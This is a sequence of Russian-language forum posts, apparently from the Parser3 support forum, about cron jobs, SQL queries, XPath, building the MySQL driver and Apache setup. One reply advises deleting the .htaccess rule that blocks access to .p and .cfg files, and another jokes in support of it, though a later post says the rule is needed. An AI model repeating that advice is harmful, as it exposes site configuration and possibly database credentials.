phone - 321321321321\
[/code]\
\
Переход на мой сервер осуществляется с https://2checkout.com/....\
\
Вот в чем беда.\
$env:HTTP_REFERER ПУСТОЙ!\
Если перехожу по ссылке на моем сервере, то $env:HTTP_REFERER содержит данные.\
\
Переменные окружения получаю через обертку\
$cgi_file[^file::cgi[/cgi-bin/printenv.cgi]]\
$cgi_file.text\
\
В чем может быть проблема?\
Заранее спасибо!"
"44137","а вот у меня не хочет..."
"44138","тогда всё. идеи кончились...\
\
хотя...\
\
создайте PHP или Perl скрипт, который будет вызывать скрипт Парсера и поместите ЕГО в крон."
"44139","[code]cd /home/domain/public_html && ./cgi-bin/parser3.cgi ./papka/mamka/index.html > /dev/null[/code]"
"44140","Для календаря определяю в какие дни были новости \
\
$days_of_files[\
 ^hash::sql{\
	SELECT\
	  ^MAIN:pSQL.day[date] AS day\
	FROM\
	  lenta\
	WHERE\
	 ^MAIN:pSQL.day[date] and\
	 ^MAIN:pSQL.month[date] = $date_now.month and\
	 ^MAIN:pSQL.year[date] = $date_now.year\
}[$.distinct(1)]\
					]\
но выпадают числа с 1 до 9. В чем дело как решить? Заранее спасибо"
"44141","это:\
[code]\
WHERE\
  ^MAIN:pSQL.day[date] [>>>и тут ничего не забыто?<<<] and\
  ^MAIN:pSQL.month[date] = $date_now.month and\
  ^MAIN:pSQL.year[date] = $date_now.year\
[/code]\
- УЖАСНО, т.к индексы НЕ используются.\
\
надо использовать диапазоны:\
[code]\
WHERE\
  date >= '${date_from.year}-${date_from.month}-${date_from.day}'\
  AND date <= '${date_to.year}-${date_to.month}-${date_to.day}'\
[/code]\
\
а что не устаивает в 1 .. 9  я не понял."
"44142","Пытаюсь понять как работать с xml, все что в документации показано работает замечательно, но вот на практике как это применить не могу понять.\
Есть xml\
[code]\
<rss version=\"2.0\">\
<channel>\
<title>Yahoo! Weather - Ocean City, MD</title>\
<link>\
http://us.rd.yahoo.com/dailynews/rss/weather/Ocean_City__MD/*http://xml.weather.yahoo.com/forecast/USMD0295_c.html\
</link>\
<description>Yahoo! Weather for Ocean City, MD</description>\
<language>en-us</language>\
<lastBuildDate>Thu, 01 Sep 2005 9:54 am EDT</lastBuildDate>\
<ttl>60</ttl>\
<yweather:location city=\"Ocean City\" region=\"MD\" country=\"US\"/>\
<yweather:units temperature=\"C\"/>\
<yweather:astronomy sunrise=\"6:30 am\" sunset=\"7:30 pm\"/>\
... и так далее\
[/code]\
\
все что мне надо это выбрать элементы типа \"yweather:units\" и \"yweather:astronomy\" и покать их значения (типа temperature=\"C\"). \
\
Самое главное что я не пойму как задать XPath для этого документа, точнее именно для этих элементов\
\
весь документ лежит тут http://xml.weather.yahoo.com/forecastrss?p=USMD0295&u=c"
"44143","Штука в том, что у вас в mysql нет базы с таким именем.\
\
Когда вы устанавливаете Swissknife, для вас уже создана база с именем \"parser\" для упражнений. Измените строчку \
\
$connect_string[mysql://parser:parser@127.0.0.1/p3test]\
\
на \
\
$connect_string[mysql://parser:parser@127.0.0.1/[b]p3test[/b]]\
\
или щёлкните по иконке с пёрышком, в меню найдите MySQLFront - программу для администрирования MySQL и создайте в ней базу p3test и нужную таблицу news со столбцами date, header и body"
"44145","Проследуйте на www.w3.org в разделы XML,XSLT,XPATH. Не лишним будет тщательное изучение документации, стандартов и примеров. Полезно также посещать www.zvon.org, где на пальцах показывают как это работает, в т.ч. на русском языке. Что собственно Вам и нужно."
"44146","HTTP_REFERER формируется только при переходе по гипертекстовым ссылкам = кликом мышки. Переход по набранному в броузере, по значению поля location или вызовом в JavaScript такого заголовка не дает."
"44147","Проблема может быть в том, что скрипт 'GET' изучает Ваши командные строки и пытается запустить указанный файл в пределах локальной системы. Возможно из нежелания запускать по своему крону что-то на чужих сайтах ;-) Идея - если хостинг юникс-подобный при установленных правах на запуск прописать в вызываемом файле первой строчкой magic sequence #!/путь/к/вашему/скрипту/parser.cgi (ОТ КОРНЯ раздела). Типа #!/usr/local/hosting/virthosts/pupkin/cgi-bin/parser.cgi\
что поможет системе разобраться с помощью чего выполнить этот файл.\
\
Такой cron не больше чем эмуляция, что логично, как барьер для экспериментаторов. Стандартной команды GET (притом капами, что вообще не принято там, где различаются регистры букв :-)) как таковой нет ни в одном shell включая сюда command.com и cmd.exe. Следовательно, это скрипт, использующий ресурсы и библиотеки-какого-то-там-языка для запуска того, что Вы дали. А может быть и нет, как уже было сказано. В общем случае-то все это должно работать, так как внутри скрипта/программы 'GET' по логике работы GET должен существовать какой-то реальный http-get-реквест, получение и возвращение результата (который все равно уйдет в /dev/null :-)))."
"44148","я создал класс и методы в етом классе и даже в етих методах локальные переменные и сейчась мне ничто не мешаеться.\
Z\
спасибо!"
"44149","есть у меня такие функции по обращению к БД, которые обрабатывают запросы под различные сервера БД (чаще MySQL),\
\
В MySQL есть такая функция last_insert_id, которой нет в других, решили первичные ключи (числовые) хранить в отдельной таблице, тогда вроде как проблем с заменой БД для сайта вообще не должно быть.\
\
Может есть другое решение."
"44150","я выбираю, есть ли новости за каждый день, затем это либо отображается ссылкой в календаре или нет, все работает, но вот цифры 1-9 почему-то не обрабатываются"
"44152","вариант: \
все таблицы называть t_\
все поля f_\
\
коллизиям бой."
"44154","http://www.parser.ru/forum/?id=44153"
"44155","если через него делать, на вас распространятся всякие ненужные вам timeout.\
\
делайте через команду. вам миша всё написал.\
несколько команд пишите в одну строку через точку с запятой.\
\
если ваш хостер позволяет настроить\
MAILTO=ваш@адрес.ru\
(это директива crontab)\
настройте её, тогда ваш журнал ошибок придёт к вам по почте (если они будут)\
\
если не позволяет — обязательно перенаправляйте не только стандартный вывод, но и поток ошибок."
"44157","http://www.yourproject.ru/?from=place1"
"44159","ну наверно потому, что запрос достанет их как 01, 02, ... 09, а вы в хеше ищите как 1, 2, ... 9."
"44162","Речь шла именно о получении только что вставленного ID из таблицы, если добавлять функцию, то разные вариации last_insert_id() есть у postrgessql и mssql, но почему бы не пользоваться этим вообще а хранить ключи в отдельной таблице, а перед вставкой изменять это значение или это не есть хорошо?\
\
Таблицы получаются очень простыми и перенос скажем c MySQL на MSSQL происходит без проблем."
"44163","Саппорт насоветовал собрать команды в .sh, только результат все равно пока нулевой."
"44165","там написано, почему ваша идея [b]иногда[/b] работать не будет."
"44166","Спасибо! все заработало:)"
"44167","[code]/home/dellin/public_html/technical/upload.sh\
: './cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './cgi-bin/auto.p', fuid(32425)!=euid(0) or fgid(32426)!=egid(0) [parser.runtime[/code]\
\
PS: это уже не вопрос. :)"
"44168","я использую эту функцию, только когда встявляю одну строку\
какая идея иногда не будет работать:\
 - пользоваться аналогами функций\
 - пользоваться написанной на парсере для получения последнего из таблицы со значениями ключей (в таблицах ключи не инкременируемые а просто уникальные)"
"44169","судя по всему, вы просто где-то допускаете банальные ошибки.\
\
сделайте, как говорит support, это ещё проще.\
1. создайте job.sh\
в нём напишите\
[code]\
#!/bin/sh\
date >>works.log\
[/code]\
2.\
файл сохраните с переносами строк в стиле UNIX (или закачивайте на ftp в TEXT режиме).\
3.\
разрешите файл на исполнение: включите атрибут файла [x] executable\
4.\
настройте регулярный запуск файла раз в минуту\
5.\
пойдите и посмотрите, появился ли файл works.log и пишутся ли в него даты.\
6.\
когда это начнёт работать, аккуратно замените date>> на нужные команды."
"44171","на http://forum.mts.ru такое — сплошь и рядом."
"44172","Большое спасибо, Александр и Михаил. :)"
"44173","Спасибо все работает!!!"
"44174","Знаю что тема хранения файлов в базе и целесообразность такого подхода, не раз поднималась на форуме. Хотелось бы узнать возможно ли в настоящий момент средствами Parser хранить файлы в базе? \
Дело в том что у меня довольно объемный функционал использует возможность хранения файлов в базе MySQL и теперь при переходе на Oracle необходимо реализовать тот же функционал.\
Может кто поделится практическим опытом?"
"44175","как решить проблему:\
сейчас система стоит на MySQL, когда заполняются таблички для взаимосвязи таблиц используется last_insert_id(), который вставляется в ссылающуюся табличку, но в дальнейшем планируется поменять БД, проблема возникает только в этом случае, все остальные моменты учтены. Не известно какая база будет PostgreSQL, MSSQL, Oracle.\
\
Так и не понял что страшного произойдет если они нажмут submit?"
"44177","даёт простое решение [b]страшноужасной[/b] проблемы:\
\
впишите в конец .C файла такой бред:\
[code]\
extern \"C\" void\
__cxa_pure_virtual(void) {\
assert(!\"fatal: virtual method called\");\
}\
[/code]\
\
скомпонуется."
"44179","кто вам выбрал провайдера под которого нет собранного кем-то бинарника?"
"44180","поддержки файлов в oracle сейчас нет и появится только когда хоть одному нашу клиенту такое понадобится.\
\
для mysql есть только потому, что дорогой сердцу человек попросил.\
\
для остальных баз -- кому реально нужно, тот сделает сам/поделится с сообществом. остальным нужно не очень."
"44181","1. Провайдера выбирать никак не мог сам. Такая там ситуевина.\
2. Google мне бы не помог. в C я слабо шарю."
"44182","Могли бы Вы, так сказать, дать примерные рекомендации как сделать самому? на чем? или укажите хотя бы примерное направление хода мысли? )))"
"44183","Меня лично пугает двоеточие, точнее когда пытаюсь обратится к этому элементу\
[code]^xdoc.selectString[string(/rss/channel/yweather:units/@temperature)][/code]\
получаю ошибку: ^|xmlXPathCompOpEval: parameter error| [xml]\
а в таком случае [code]^xdoc.selectString[string(/rss/channel/yweather/@temperature)][/code]\
вообще ничего не получается.\
\
как правильнно обращатся с такими элементами?"
"44184","Добавил как сказали, однако функции assert видимо нет.\
после make вылетает на этом:\
parser3mysql.C: In function 'void __cxa_pure_virtual()':\
parser3mysql.C:434: error: 'assert' was not declared in this scope\
make[2]: *** [parser3mysql.lo] Error 1\
make[2]: Leaving directory `/home/clients/cryptah_ftp1/tmp/sql/parser3mysql-3.1.HEAD'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/clients/cryptah_ftp1/tmp/sql/parser3mysql-3.1.HEAD'\
make: *** [all] Error 2"
"44185","не вчитались в то, что написили сами."
"44188","пусть будет {}"
"44189","А потом перечитал тред и потерял нить разговора. У меня уже комплекс неполноценности развился в отношении этого форума... :)\
\
Для меня неочевидна прикладная сторона: что конкретно делается. Если бы ситуация была описана детально...\
\
[i]You can generate sequences without calling LAST_INSERT_ID(), but the utility of using the function this way is that the ID value is maintained in the server as the last automatically generated value. It is multi-user safe because multiple clients can issue the UPDATE statement and get their own sequence value with the SELECT  statement (or mysql_insert_id()), without affecting or being affected by other clients that generate their own sequence values.[/i]"
"44190","но добавив вверх \
#include <cassert>\
ошибки исчезли\
\
и теперь при запуске драйвера не ругается на __cxa_pure_virtual\
\
а снова ругается на __gxx_personality_v0 как в самый первый раз\
и это при том, что после ./configure я в Makefile прописал\
LDFLAGS = -lstdc++ и это при первом разе помогло после чего и вылезла эта __pure...\
\
Короче я сума сойду точно :) это как пузырь под клеенкой которую не проткнуть и в угол не загнать. "
"44191","Если не трудно подскажите на примере."
"44193","таблица пуста\
insertA: id получилось 1\
insertB: id получилось 2\
selectA: select max(id) >> вернёт 2"
"44194","оставьте {}.\
\
откуда у вас взялась ссылка на символ, которой «раньше не было», сумеете понять только вы сами.\
\
похоже, вы вели те эксперименты сильно ночью. работать нужно на свежую голову. или всё записывать."
"44195","думаете сделаете лучше?\
еще раз: у всех известных мне серверов БД есть механизмы аналогичные last_insert_id от MySQL.\
\
перенос в любом случае получается простым (я имею ввиду то, что при переносе не возникнет проблем в этом месте, они возникнут в других местах, как-то: несоответствие полей, использование функций которых не у другого сервера, конвертирование дат и т.д.).\
\
при переносе данных все уже введенные ID-шки сохранятся, соответственно ссылки сохранят целостность.\
\
да, вы конечно-же можете использовать UUID, но зачем? в чем смысл держать огромные идентификаторы вместо коротких? по коротким полям любые поиски/связи выполняются быстрее.\
\
P.S. чтобы понять смысл ваших сообщений их приходится дешифровывать."
"44196","Для чего ему last_insert_id нужен? Для того, чтобы по прямому назначению его использовать (прочесть следующим же запросом, тем же клиентом) или для девиаций каких-то?"
"44197","Итак, версия Linux DEBIAN testing (Ядро 2.6)\
\
1. Моя домашняя дира(к примеру):\
   /home/vasya/tmp\
   $HOME=/home/vasya (это по умолчанию стоит в UNIX-ах к вашей   \
                      домашней папке)\
   \
2. дистрибутив парсер cкопировал в tmp/\
    переименовал bla-bla.tar.gz в\
    parser3.tar.gz\
\
    распаковка:\
    gunzip -c parser3.tar.gz | tar xvf -\
    \
    имеем диру tmp/parser3/\
    заходим туда (читать там надо всегда INSTALL - даже если тут все написано, это неотъемлимая часть шаманского обряда, эквивалент 50 стукам в бубен. Не прочитав этот файл - не снять первой печати заклятия автора исходников!)\
\
3. Сам парсер собирался так:\
заходим в диру parser3/\
\
shell> CXX=\"g++-3.3\" CFLAGS=\"-O2\" CXXFLAGS=\"-O2\" ./configure --prefix=$HOME/tmp/parser-cgi --with-mysql-client\
\
shell> вот на этом этапе не помню ставил ли я в файле Makefile\
       LDFLAGS = -lstdc++  (пробуйте сами)\
\
shell> make\
\
shell> make install\
\
4. MySQL драйвер так:\
   создаем в нашей tmp/ папку sql\
   т.е. /tmp/sql/\
   копим туда parser3mysql-3.1.4.tar.gz\
   распаковка все также:\
   gunzip -c parser3mysql-3.1.4.tar.gz | tar xvf -\
   \
5. Заходим в создавшуюся папку \
   cd parser3mysql-3.1.HEAD\
   \
6. Тут выходим покурить (кто не курит идет заваривает чай)\
   Ибо начинается таинственный обряд!\
\
7. правим файло parser3mysql.C  таким образом:\
   в 16 сверху строчку втыкаем:\
#include <cassert>   (там как раз место под это =)\
\
   а в самый низ пихаем:\
extern \"C\" void\
__cxa_pure_virtual(void) {\
assert(!\"fatal: virtual method called\");\
}\
\
extern \"C\" int _gxx_personality_v0;\
int _gxx_personality_v0=0;\
\
8. shell> ./configure --prefix=$HOME/tmp/sql-lib --with-dynamic-stdcpp\
\
9. В Makefile ищем LDFLAGS =\
   и добавляем -lstdc++\
   (для пущей верности)\
\
10. make\
11. make install\
\
Все тушите факел, печати сняты, можно юзать.\
\
Кстати все нашел через новый поисковик\
http://www.ikengo.com"
"44198","если не слабо - можете запаковать полученное, выложить и прислать ссылки дабы мы добавили в \"Прислали пользователи\"."
"44199","Наткнулся вот на сайте на \
http://www.sqlite.org/cvstrac/wiki?p=SqliteTools\
\
[quot]\
Там в конце страницы написано, что \
\"SQLite access driver  for Parser web scripting engine is done for Win32 and Linux. Binaries and sources will be officially released soon, just after confirmation from parser developers.\"\
[/quot]\
Это что-то более, чем красивое начинание?"
"44202","С чего все началось:\
Один коллега сказал определенный порядок запросов, в котором insert должен следовать после selecta (вроде как для целостности данных)! Согласен логика есть, но откуда это взялось?\
\
Для заполнения связанных таблиц, если нет возможности использовать внутренние процедуры и триггеры (в случае с mysql). Мне необходимо знать ключи из привязанных таблиц и вставлять их в главную. Я применял такой способ: вставляю в дочерние (insert) беру ключи (select max или last_insert_id), вставляю в главную (insert) значения ключей. Насколько велика вероятность, что ключи дочерних таблиц окажутся не те (кто-то чуть позже вставил запись в дочернюю таблицу, одновременный submit)?\
Надо ли в этом случае применять commit?\
В скрипте ипользуется один ^connect на весь скрипт или это не влияет?\
\
Еще варианты:\
 - выбирать значение ключа из дочерней таблицы по только что вставленным полям.\
 - брать из другого источника (UUID или таблицы со всеми последними ключами) значения ключа и вставлять уже с ним.\
UUID не хочется применять из-за скорости выборки.\
\
Как сделать лучше или может я создаю проблему на пустом месте?"
"44203","-1. по моему ваш коллега вас мягко говоря обманул (или вы недопоняли его). select достающий last_insert_id() должен следовать ЗА insert. между ними не должно быть других insert-ов.\
\
0. все делают иначе: добавляют запись в родительскую таблицу, берут значение last_insert_id() и в дочерние таблицы добавляют записи, где в качестве идентификатора используется это значение.\
\
1. select max испольовать нельзя, надо использовать last_insert_id(). почему - прочитайте в доке по mysql\
\
2. вероятность не считал, но если она есть, и если создателями sql серверов предлагаются механизмы, которые позволяют избежать этого - не вижу причин не пользоваться этим.\
\
3. при использовании last_insert_id() в простейших случаях использовать commit не надо, хотя все зависит от вашей задачи. ведь возможно при добавлении связи в дочернюю таблицу произойдет что-то, что не позволит добавить запись (например вы добавили там какой-нить уникальный costraint), и в этом случае ваша задача будет требовать наличия отката добавленной записи в родительскую таблицу. при подобном раскладе commit нужен (commin - он немного из другой оперы).\
\
4. даже при использовании нескольких connect на страницу парсер кеширует соединения, и это для sql сервера выглядит как один сеанс. далее опять читаем доку про last_insert_id().\
\
5. считаю что вы пытаетесь придумать велосипед, тем самым создавая проблему на пустом месте. возможно можно придумать иной работающий механизм, но не вижу причин не пользоваться готовым, который прекрасно работает."
"44204","В документации есть пример создания Хеша в цикле:\
[code]$dyn[^hash::create[]] \
^for[i](1;10){ \
   $dyn.$i[$value] \
}[/code]\
\
Сдесь сначала создается пустой Хеш, и только потом происходит поэлементное добавление.\
\
Вопрос: как производить адресацию при создании Хеша 2 уровня?\
\
Так:\
[code]$dyn[^hash::create[]] \
^for[i](1;10){\
^for[j](1;10){ \
   $dyn.$i[$dyn.$i.$key[$value]]\
} \
}[/code]\
\
Или так:\
\
[code]$dyn[^hash::create[]] \
^for[i](1;10){\
^for[j](1;10){ \
   $dyn.$i[$.$key[$value]]\
} \
}[/code]?\
\
И еще вопрос: [code]$dyn.fields[/code] - это уже объект таблицы?"
"44205","PAF > оставьте {}.\
\
Если я оставляю то процедура ничего не возращает и поэтому видимо ругается потом вида\
Error: blah-blah char**  char*  и все такое.\
\
Как описал выше только так и собралось."
"44207","Решил оставить всё как есть, хотя если вспомнить первые велосипеды, езда на них была не намного удобнее чем обычный способ передвижения :)"
"44208","[code]$dyn[^hash::create[]] \
^for[i](1;10){\
^for[j](1;10){ \
   $dyn.$i[$.$key[$value]]\
} \
}[/code]"
"44209","Есть методы:[code]\
$table.fields\
$hash.fields\
Из док-ты получается, что $table.fields=$hash.fields=$hash ?\
[/code]\
Можно ли создав Хеш, перевести его в класс таблицы?"
"44212","не и не может его быть, т.к. в хеше может храниться все что угодно: дата, таблица, хаш, объект. а в таблице - только строки."
"44215","Я пытаюсь установить Parser на сайт. Кладу в директорию\
cgi-bin скрипт parser3.cgi. В www кладу .htaccess и пишу в нем:\
\
[code]# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
Получаю такую ошибку: [quot]Premature end of script headers:\
/home/uxxxxx/xxxxx.ru/cgi-bin/parser3.cgi[/quot]\
В чем может быть дело и почему не работает?"
"44218","Маловато данных то... вы по SSH терминалу зайдите к прову и \
запустите ./parser3.cgi что напишет в shell'e\
а еще error_log и parser.log (если он есть)\
\
P.S.: Уверены что под ту ОС скачали? Если да, то Вас может ждать веселое приключение =)"
"44219","а нужно в бинарном\
\
P.S. в FAQ об этом есть"
"44221","[quot]Все скрипты, равно как и любые другие текстовые файлы, должны передаваться по FTP в текстовом (ASCII) режиме. Если же был использован двоичный (Binary) режим передачи файлов, скрипты наверняка работать не будут.[/quot]\
\
:) Странно..."
"44222","Не знаю, что наделал, но заработало. :)"
"44223","возможно они под cgi скриптами имеют ввиду скрипты, написанные на perl например. тгда они есссно должны закачиваться в text mode."
"44226","КАК ТО СТРАННО У ВАС ПРОИСХОДИТ ОБШЕНИЕ -\
СОЗДАЕТСЯ ВПЕЧАТЛЕНИЕ, ЧТО У ВАС ПРОИСХОДИТ ОБШЕНИЕ МЕЖДУ СОБОЙ, СКОЛЬКО НЕ ЗАДАЮ ВОПРОС , ОТВЕТ ОДИН - ПОИСК ПО ФОРУМУ ЛИБО СТАВИТЕ ДИАГНОЗ, ЕСЛИ НЕ ХОТИТЕ ОБЩАТСЯ ДЕЛАЙТЕ ЗАКРЫТЫЙ ФОРУМ!!!"
"44228","Вопрос № 1 как это сделать наиболее грамотным способом?!\
Вопрос № 2 можно ли в файл sections.cfg писать вместо названия ссылки путь к картинке? если да, то через \"/\" или через \"\\\" или же всеравно."
"44229","Может такое быть?\
Operating system Linux \
Kernel version 2.6.10-1.9_FC2 \
Machine Type i686 \
Apache version 1.3.33 (Unix) \
.........\
Все перечитал, по 100 раз переделывал. Дошло дело до проверки хостинга. Я правильно понял?\
хостинг www.ozl.ru"
"44232","У такой ошибки может быть масса причин, как правило - проблема в пользовательском скрипте. Если там есть доступ к log-файлам сервера - нужно смотреть, в частности error_log (может называться иначе)."
"44233","1) на Parser не получится :) лучшее решение - какой-либо готовый Java-скрипт\
2) ни сам файл sections ни то что Вы пишете туда не является обязательным в Parser. Другими словами - то, что Вы напишете туда, то и будет выведено при обработке, Вами же и запрограммированной для этого файла. А вот путь только \"/\"."
"44234","Убери вот это:\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"44236","Пускай читают наши *.p  файлы! ;)"
"44237","Ошибка появляется при чтении отсутствующего ключа в непустом хешфайле, повторить не всегда возможно. Парсер: parser3_1_4_freebsd49R_cgi\
Подобное сообщение уже было: http://www.parser.ru/forum/?id=30128"
"44239","ошибка эта появляется под FreeBSD, когда паралельно идет обработка большого файла (например, ^file::load[binary;song.mp3])"
"44240","А как тогда он должен выглядеть? или я не туда прописал?"
"44242","У меня Apache 2.0.48, не установить Parser. Все делаю по инструкции. Скажите, может он вообще не работает с этой версией Apache?"
"44243","Я только учусь парсеру , выполнил первые уроки , а четвёртый немогу...\
Какой запрос sql надо вбиватьчтобы создалась таблица с необходимыми полями ?"
"44244","Почитайте докуметацию по MySQL, ссылка на нее есть в разделе «Полезные ссылки»"
"44246","Всё я создал таблицу , добавил новость в таблицу , но почему-то новости не показываються в разделе новости \
Код раздела \
[quot]\
\
@body_additional[]\
<center>Архив новостей за текущий месяц:</center>\
<br>\
^calendar[]\
\
\
<b><h1>НОВОСТИ</h1></b>\
$day(^if(def $form:day){\
   $form:day\
}{\
   $now.day\
})\
^connect[$connect_string]{\
   $news[^table::sql{select\
       date, header, body \
   from\
      news \
   where\
      date='${now.year}-${now.month}-$day'\
   }]\
   ^if($news){\
      ^news.menu{\
         <b>$news.date - $news.header</b><br>\
         ^untaint{$news.body}<br>\
      }[<br>]\
   }{\
      За указанный период новостей не найдено.\
   }\
}\
@main[]\
^header[]\
^navigation[]\
^footer[]\
@greeting[]\
Страница новостей,  заходите чаще!\
[/quot]\
Хелп )"
"44247","1. Пожалуйста оформляйте код в [ code ], а не в [ quot ]\
2. Воспользуйтесь поиском по форуму, вопросы касательно уроков поднимались далеко не однократно."
"44248","Ошибку понял справился ) Извините дурака )"
"44249","Если код который вы написали у вас в index.html, то удивительного ничего нет.\
\
на первый взгляд у вас не указана дата, за которую вы хотите видеть новость(и), попробуйте без where, просто все новости выведете.\
о дате:\
[code]\
$day(^if(def $form:day){\
$form:day\
}{\
$now.day\
})\
#[color=\"red\"]$now.day - у вас не определена, на сколько я вижу[/color]\
[/code]"
"44251","в конфиге у меня так выглядит:\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libparser3pgsql.so\
}]\
]"
"44255","В терминах parser возможно структурное и логическое управление данными web-проекта. Все остальное - рамки других дисциплин (обрабатываемых и включаемых [i]с помошью[/i] parser, но не его средствами)."
"44256","спасибо , но я уже разобрался )"
"44257","Кстати , а как нить можно сделать постраничный вывод новостей , например по 10 ?"
"44258","И ещё один вопрос , как сделать чтоб новые новости были вверху ?"
"44259","Все можно... все в твоих руках: и клава и мышь :)\
\
Как тебе уже сказали документация по MySQL больншой плюс, н я знаю что читать не охото.\
Для постраничного вывода информации есть текстовый скроллер\
http://www.spearance.ru/parser3/scroller/ - если разберешься, то очень удобная вешь.\
\
а отсортировать данные можно 2-мя способами: MySQL (ORDER BY `id` DESC) и конечно Parser http://www.parser.ru/docs/lang/tablesort.htm\
\
полезно еще искать по форуму и читать докумантацию (на себе испытал)"
"44260","http://www.artlebedev.ru/tools/typograf/webservice/TypografWebServiceClient10_parser.zip"
"44261","Еще не куда не прикрутил, но в планах есть..."
"44262","http://www.specserver.com/forum/subject.asp?forumID=9  форум экскаваторы"
"44263","Очень даже. И даже знаю, куда прикрутить!"
"44266","[code]$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3[b]mysql[/b].so	$sqldriversdir/libparser3[b]pgsql[/b].so\
}][/code]\
\
P. S. Используйте для оформления кусков кода [[url=\"http://www.parser.ru/forum/info.html\"]code[/url]]."
"44269","у меня на мастерхосте все работает закачивал скрипт для FreeBSD фаром, а запрет на чтение p и cfg обязательно нужен."
"44270","(возможно, письмогрызы погрызли по дороге)"
"44271","при параллельном чтении этого большого файла наш hashfile тоже открыт и туда что-то писали?"
"44273","[quot]Поскольку никто не напишет «Типограф» лучше нас...[/quot]\
\
ставлю под сомнение."
"44274","Раньше я писал сайт на Parser3.0 под Win2000 AS IIS5.0. Теперь мне надо его перенести на русскую WinXP Pro. Скопировал все нужные файлы, назначил обработчик для html файлов parser3isapi.dll, запускаю и получаю: $SQL:drivers table must be defined [parser.runtime] - то есть почему-то конфигурационный файл auto.p не может подгрузить sql драйвера. Да плюс к этому еще и тестовый файл _test.html запускал - там таже ерунда да еще и таблица кодировок тоже не грузится. \
\
Чего может быть? Помогите, срочно надо."
"44275","ошибка, приводящая в ISAPI к ненахождению auto.p исправлена и выйдет в 3.1.5"
"44277","на сколько я понимаю, писать названия столбцов  MySql в backsticks - это правило хорошего тона и рекомендуется разработчиками MySql."
"44278","а протестить не долго ;)\
но я как-то больше твоим вариантом пользуюсь"
"44279","Я так понимаю, что в [b]Парсерных запросах[/b] этого писать не нужно."
"44281","Студии присущи подобные заявления. Эдакий пафос и снобизм :)\
\
Хотя я не умоляю их достоинств. Просто имидж у них такой. \"Мы самые крутые\" Во многом это действительно так. Но не всегда ;)"
"44283","Было бы очень здорово!"
"44288","Вроде просили, я аж 2 раза слал."
"44289","...в том числе и подобный сервис. Просто у меня нет желания выкладывать его именно в таком виде. От него будет польза только в купе с новыми настройками, над которыми я сейчас работаю."
"44290","Я готов выслать исходники. Изначально они были сделаны по моему заказу, но для целей развития и поддержки разных версий парсера и операционок целесообразно сделать доступных их для сообщества.\
Пожалуйста, сообщите мне куда высылать."
"44291","В примере О переносимости SQL запросов Misha v.3 указан очень полезный класс, помогающий отследить долгие или многочисленные запросы на странице.\
При этом в классе указываются параметры\
$.debug_time_limit(500)\
$.debug_queries_limit(25)\
\
Поскажите пожалуйста, какие всё-таки парметры считаются нормальными для средней посещаемости сайта - примерно 100 человек в день, порядка 10 различных таблиц в базе, везде количество строк не превышает 20000, в основном менее 5000.\
\
Спасибо"
"44292","нормальными считаются такие параметры, при которых сервер не падает, и хостер не матерится. каких-то конкретный цифр по моему не существует, да и не может существавать ибо решать приходится очень разные задачи."
"44294","...только пока не знаю как выложить. расчитывал что будет одна строчка с указанием версии ОС, версии парсера, координат автора и ссылка на страничку где лежат скачиваемые файлы + краткий или не очень комментарий что это и зачем оно надо (ну как почти все в разделе \"прислали пользователи\")."
"44295","Понятно\
Но как, интересно, узнать эти параметры\
Ведь если я успешно протестирую домашний сервер с помощью, например, Webserver Stress Tool, то это совсем не гарантирует мне того, что удалённый сервер так же прекрасно будет выполнять мои сумасшедшие запросы?"
"44296","А вдруг человек не хочет что бы ему посылали на имейл подобные вещи :)\
\
Отослал... Кстати, предлагали вариант статической линковки SQLite с парсером, что бы уже все в одном флаконе было :)"
"44297","если согласно explain ваши запросы простые и если на хостинге установлена такая же версия mysql сервера - то запросы будут выполняться аналогично. при этом более новые версии обычно лучше выполняют запросы (обратного пока не встречал).\
\
т.е.:\
1. поставьте дома такую же версию sql сервера\
2. подумайте/создайте нормальные индексы для ваших запросов\
3. потестируйте локально и посмотрите логи (sql.log, sql.txt)\
4. если что-то плохо - пооптимизируйте запросы ещё\
5. когда все будет хорошо - залейте на хостинг и через некоторое время посмотрите error.log, parser.log и sql.log.\
\
хотя если вы с умом сделаете первые три пункта - думаю проблем с производительностью на хостинге у вас не возникнет."
"44298","А как узнать что использует мой хостер? какой никс?"
"44300","Скажите, есть ли у кого нибудь опыт установки Parser на Fedora Core 4?"
"44301","Слушайте , тут где-то читал , что есть что-то готовое уже на парсер3 ( типо кмс чтоль ) где это можно скачать если вообще возможно ?\
Кстати , так и несмог сделать постраничный вывод ( новости выводяться по уроку нормер не помню ) \
Может ктонить обьяснит по подробней а ?"
"44302","Ещё один вопрос )\
Когда хочу подключить класс допустим lib.p пишу\
@USE\
lib.p\
Правильно ?\
Мне пишет :\
[CODE]Unhandled Exception (Debug)\
\
usage failed - no $MAIN:CLASS_PATH were specified\
\
dtf.p\
\
()\
\
exception.type=parser.runtime[/code]\
Жду ответа с нетерпением)"
"44303","И ещё один вопрос )\
Я понимаю надоело , но я этого не понимаю .. \
Как сделать своё 404 ошибку ? \
Читал форум , искал , какойто response нашёл но что с ним делать не понял , если мо\\жно приведите пример как сделать чтоб вместо Unhandled Exception (Debug) было нормальная 404 ошибка с указывамоего файла ?"
"44304","Есть большая (от 200мб до 1гб) таблица в mysql(4.1 вроде) со списком товаров. У нее есть поля с ключевыми словами. Нужно сделать по ней поиск.\
\
Что быстрее будет:\
 - шерстить like по INDEX'у из VARCHAR(255) полей\
   (индекс не разбит на слова)\
\
 - использовать MATCH AGAINST по FULLTEXT индексу\
   (индекс разбит на слова)\
\
Интересно мнение бывалых. Сам склоняюсь к п.2, но слышал что подобный поиск реально нагружает сервер. Если это окажется критичным, не придется ли переписывать на LIKE?\
\
LIKE работает медленнее, но меньше грузит сервер?\
MATCH быстро, но ребовательно к ресурсам?\
Или мне просто выспатся надо и не паристя на эту тему? =)\
\
Заранее спасибо."
"44308","думаю лучший метод выяснить - скопировать локально и поэкспериментировать.\
\
а вообще мне кажется что MATCH AGAINST будет лучше как в плане нахождения, так и в плане нагрузки."
